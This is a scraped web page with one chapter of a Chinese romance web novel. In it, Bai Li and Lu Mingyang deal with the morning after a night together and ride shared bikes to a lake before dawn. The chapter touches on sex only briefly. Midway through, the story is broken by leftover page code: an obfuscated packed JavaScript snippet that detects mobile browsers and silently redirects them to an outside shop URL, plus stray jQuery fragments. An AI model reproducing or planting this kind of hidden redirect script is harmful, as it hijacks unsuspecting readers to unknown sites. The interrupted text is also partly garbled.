文趣网 > 都市小说 > 飞行艇 > 19. 19.回南天
    夜色晃晃悠悠的,好像还落了点雨。电闪雷鸣间,照亮了乱成一片的房间。

    赤/裸着的人,被幽蓝的光照出了恶魔的样子。不管不顾的,横冲直撞的......想让他们两的声音,盖过外面的雷鸣。

    白栎抱着他湿掉的头发,说这才是他的羽毛。

    但他的羽毛触感不是柔和的,刺在她柔软的胸/脯上,甚至是惊心动魄的。

    白栎在他的索求中,感受着灵魂出窍的感觉。

    太陌生了,她只想翻身往上,把主动权掌握在自己手里。

    落雨声越来越急,有人忍受不了磨磨/蹭蹭的拖延心,问自私只顾满足自己的人,“小葵,你听到外面的雨都在催你了吗?”

    白栎看着他慢慢坐了起来,两人目光再次相交。

    外面电光火石,春雷滚滚。

    她却停了下来,极有耐心地追溯,“陆鸣杨,刚进房间那会,你就是这么盯着我看的。”

    她忽然想到不知道从哪看的一句话——对视,是人类不带情/欲的精神接吻。

    有人顷刻间就接住她,盖章定调,“嗯,那时候就想这样了。”

    主动权倒转,终是迎着落雨的旋律,传出一声明显重叠的叹谓。

    —

    一晚上的云雨渐歇。

    第二天陆鸣杨醒来的时候,房间已经只剩他一个人了。

    昨晚泻出月光的窗户,又漏了点阳光下来。不能照亮整个房间,却足够唤醒疯狂了一晚上人的记忆。

    他捞起手机,只看到了刘砚舟发来的消息。问他,需不需要他来充当宜安的导游。

    【当然,有更合适的人,兄弟自然靠边立正。】

    陆鸣杨把刷新界面拉到底,都没见某个女人的聊天框冒上来。

    他甚至开始怀疑昨晚是不是单纯又是他的一场春梦,但房间这幅打过仗的样子,又不像是他一个人能弄出来的。

    陆鸣杨烦躁地揉了揉头发,眼不见为净,去了另一个房间。

    再次睡醒的时候,外面又开始淅淅沥沥地下雨。雨滴击打玻璃的声音,明显比昨晚温柔许多。

    但房间依旧是昏暗的,甚至由于落雨的缘故,透出点潮湿阴凉的感觉。

    总说人最脆弱的就是下午四五点刚刚睡醒的时候,天空由亮转暗的时分,最容易让还未彻底清醒的脑子,以为这个世界只剩你一个人。

    陆鸣杨裹着被子坐在床上,看着依旧空白的消息界面,怀疑有人不是把他当成了小鸟,而是别的什么动物。

    他正在满怀恶意地胡思乱想着,房间忽然响起一阵“咔嗒”声。

    很轻的动作,却骤然让昏暗的房间,整个亮了起来。

    陆鸣杨眯着眼睛,努力盯着门口出现的人。

    一身的黑色的打扮,手握一把长柄雨伞,沾着外面的水汽,渐渐在他的视野里变得清晰起来。

    陆鸣杨沉默着,看着白栎丢掉了长柄雨伞,一步步来到他的面前......

    等到她走到离自己不足一步远的位置,陆鸣杨才看清她眼底明显的青黑色。反观他,睡得精神抖擞的,甚至还有空在这给自己加戏自影自怜。

    陆鸣杨抬头问站在床边的人,“今天去干什么了?”

    白栎回答他:“上课。”

    “嗯?”

    “今天周一,排了满课。”

    陆鸣杨瞬间什么怨气都散了,甚至想跳起来,骂自己一声渣男。

    他小心翼翼的,“那今天有没有不舒服?”

    白栎沉默着,盯着床上把自己裹成一个蝉蛹的人。越盯,他的视线就越偏移,简直就要把心虚两个字写到脸上的程度。

    她没回答他的问题,只问他,是不是一天都没吃过饭了。

    整个套房都很干净,只除了某个房间。

    被子里的人点点头,乖得不得了。

    但凡谁见了陆鸣杨这样,指定要说一句,真是黄河水倒流,长江水回头——世间罕有。

    但白栎表情却没多大变化。

    人能心虚成这样,只能说明,他认识到自己做了多大的错事。

    就像陆鸣杨以前说的,她白栎就是一个把脸面看得比天重的人。所以,她并不会允许自己去把心里某个疑问问出口。

    两个人沉默的时间太长,陆鸣杨甚至有种自己在被凌迟的错觉。他梗着脖子扭过头,迎着上位的人不算友善的视线。想来想去,只问出了中国人经典的那句,“你吃过饭了吗?”

    白栎摇摇头,瞬间敛好了情绪,说:“你不是想逛我学校吗,我们可以先一起去吃饭,然后散会步。”

    以为自己会得到劈头盖脸一顿骂的人,被人用最温柔的语气这么照顾着,反倒有点不安心了。

    陆鸣杨甚至反思了一瞬,是自己疑心病太重,还是单纯的,贱。

    他扯开一点被子,露出上半身紧致的肌肉线条。

    说出的话却和行动完全相悖:“那你到外面等我一下,我穿一下衣服。”

    白栎依言走到门外,不带丝毫留恋,像个坚毅的女战士。

    —

    等房内的人穿好衣服再洗漱好,客厅沙发上的人,已经不知在什么时候睡了过去。

    陆鸣杨轻声走到她的面前,甚至不敢直接落座在沙发上。只从上至下地盯着她,说实话,终于有了一种落在实地的感觉。

    昨天发生的一切,于他而言都太像一场梦。包括他脱口而出的那句“小葵”,他也多在梦里才那么喊她。

    陆鸣杨从小就知道,白栎很珍视这个名字。小时候写作文《我的梦想》,别人都是科学家、宇航员、老师、医生......只有白栎别出心裁,写的是想当一朵向日葵。

    他知道这是白栎和家人之间独有的称谓,他并没有那个自信,能将这个名字轻易地喊出口。

    只一点,她在他眼里并不是什么泰迪向日葵。因为比起机灵会讨好人的泰迪,白栎在他面前,明显更像一只比格。

    ——叛逆,不服管教,却也拥有最为可贵的好奇心。

    陆鸣杨走到房间门口,调高了室内的温度,再次退了出去。

    —

    白栎一觉睡到了半夜三点,侧着睡的缘故,半边身子都麻了个彻底。

    房间内冷调的顶灯被换成了柔和的床头灯,她落座的位置旁,还多了一张白纸。

    有人用飞舞俊逸的笔触告诉她,我就在隔壁,以及,睡醒就来找我。

    白栎拢了拢睡得变形的头发,捡起某人掉在地上的外套,往外走去。

    陆鸣杨并没有如纸上说的,呆在隔壁的房间里,而是直接落座在了客厅的沙发上。

    外面的光比房间内亮上不少,白栎轻易就能捕捉到那个正在快速敲击电脑键盘的身影。她晃眼看过去,清一色的英文字母。

    白栎轻轻咳了一声,弄出点动静。过于专注的人,才扭头看向了她。

    陆鸣杨:“你醒了。”

    “嗯。”白栎走过去,把外套还给了他。

    陆鸣杨把头仰靠在沙发靠背上,仰视她,也放松僵硬了一晚的肩颈。

    “饿不饿,要不要吃点东西?”他没想到她能睡这么久,之前叫的餐食,现在已经凉了个彻底,“想吃什么,我看看能不能叫个外卖。”

    “不饿。”白栎只问他,“你是有事要忙吗?”

    陆鸣杨没想到她会关心这个,一脸不在意地关上了电脑,顺手丢到一旁,告诉她,没有,只是等得太无聊了。

    两人见面向来是吵吵闹闹的,别人多在他两身边待一会,都要嫌耳朵聋。但自昨晚之后,明显有了不同。

    陆鸣杨很想问她,昨晚算怎么一回事呢?白栎你是不是要像那些个不负责任的负心汉一样,只给我一个酒后乱性的交代。

    但她没给他机会,像是忽然想到了什么,她问他,“你还想不想逛我们学校?”

    “你这是在补偿我吗?”陆鸣杨还是忍不住。

    “我......要补偿你什么?”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17862258|212054||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “......算了。”他不想被她看扁,只说,“凌晨三点,你倒是兴致很好。”

    白栎:“那你要不要去?”

    陆鸣杨:“要。”

    —

    两人出门前,白栎还强迫臭屁得只穿了一件薄卫衣的人,再把她刚刚丢给他的外套穿上。

    “不穿。”陆鸣杨有自己的穿搭原则,“都春天了,外面能有多冷。”

    白栎懒得嘲笑少爷的天真。只说刚刚用来盖着睡觉,感觉衣服的触感很舒服。而且,“我觉得你穿应该会很好看。”

    “哼。”陆鸣杨嫌弃地套上了外套,说她现在真是什么话都说得出来了,“这个牌子的衣服,你自己明明也有好几件。”

    边说,边把房卡丢进口袋里,赶鸭子一样赶着人出门。

    等到两人来到酒店楼下,白栎做贼似的往前走了好几十米,眼观六路,耳听八方的架势。一直跟在后面的人看到忍不住问她,这又是什么小狗出门必须嗅地盘的动作?

    白栎让他闭嘴,再往前走了一会,终于找到了自己要找的东西——21世纪最伟大的发明,共享单车。

    “谁封的?”陆鸣杨转头问她。

    “我。”白栎很熟练地扫好一辆,跨坐在车背上,等着有人从下载软件那一步开始。

    陆鸣杨问她:“你准备这样带我去你学校?”

    白栎:“不好吗?”

    “好啊。”陆鸣杨终于解锁好了单车,单脚撑地停在她旁边,视线点了点她,“这还是我教会你的呢。”

    白栎不语,只放开手刹,踩动踏板,迎着下坡把某人稳稳地甩在了身后。

    “诶——”

    没一会后面就传来了轮胎滚动的声音,还有极速刮动的风声。

    春日花草葳蕤,凌晨时分沾了点露水,洋洋洒洒地落在打破静谧的少年人身上。

    头顶的天空正在泛着熹微的晨光,是广阔的、明媚的、吸引人奋力往前的。轮胎下的大地却是厚实的,前进挤压之下,带着托举的力道。

    陆鸣杨敞开外套,任风无距离地刮进自己身体里,忍不住打了个喷嚏。

    白栎与他并行,风也把她的头发吹得四散,但比冷意更先袭来的,是肆意的自由。

    她劝他,拉上拉链吧。

    他偏不,风的形状并不应该被束缚。

    白栎奋力蹬车,又把中二少年甩出去好远。

    —

    两人最后来到一个湖边,单车停在栏杆旁,选了一个就近的临湖木椅。

    遗憾的是,椅子上都沾着新鲜的水珠,没人愿意坐上去。

    陆鸣杨问她,这是你们学校?

    白栎回答:“这是西子湾。”

    “那和你们学校有什么关系?”陆鸣杨看她倔强的不肯弄脏自己裤子的样子,脱下了自己的外套垫在了椅子上,喊她大小姐,“坐会吧,空腹蹬一个小时车你是真的不嫌累。”

    也不管她坐不坐,反正他已经先落座了。

    白栎磨蹭着坐过去,外套上还沾着一些未散的体温。她很好心地为这位游人解释:“我们学校的人工湖引的就是西子湾的湖水,死水没什么好看的,不如直接来这。”

    “哦。”某人看她离自己半个手臂的距离,硬是一点没碰到自己,有意找茬儿,“可是你说要带我去逛你们学校。”

    “陆鸣杨。”

    “我在。”

    “你准备什么时候回你自己学校?”

    “白栎。”他学她的语气喊她,“你考宜安大学的时候有和我说过吗?你就这么希望我走吗?”

    白栎闭嘴不言。

    陆鸣杨继续说道:“白栎,我以后不会再提你考宜大的事情,因为就如你说的,这是你自己的选择。”

    “但是。”他靠近一步,让她看着他的眼睛,“你能不能不要去看别人。”

    说他卑鄙也好,说他自私利己也罢。未来见不到面的时间里,他也不想她把那样的目光,投到别人身上。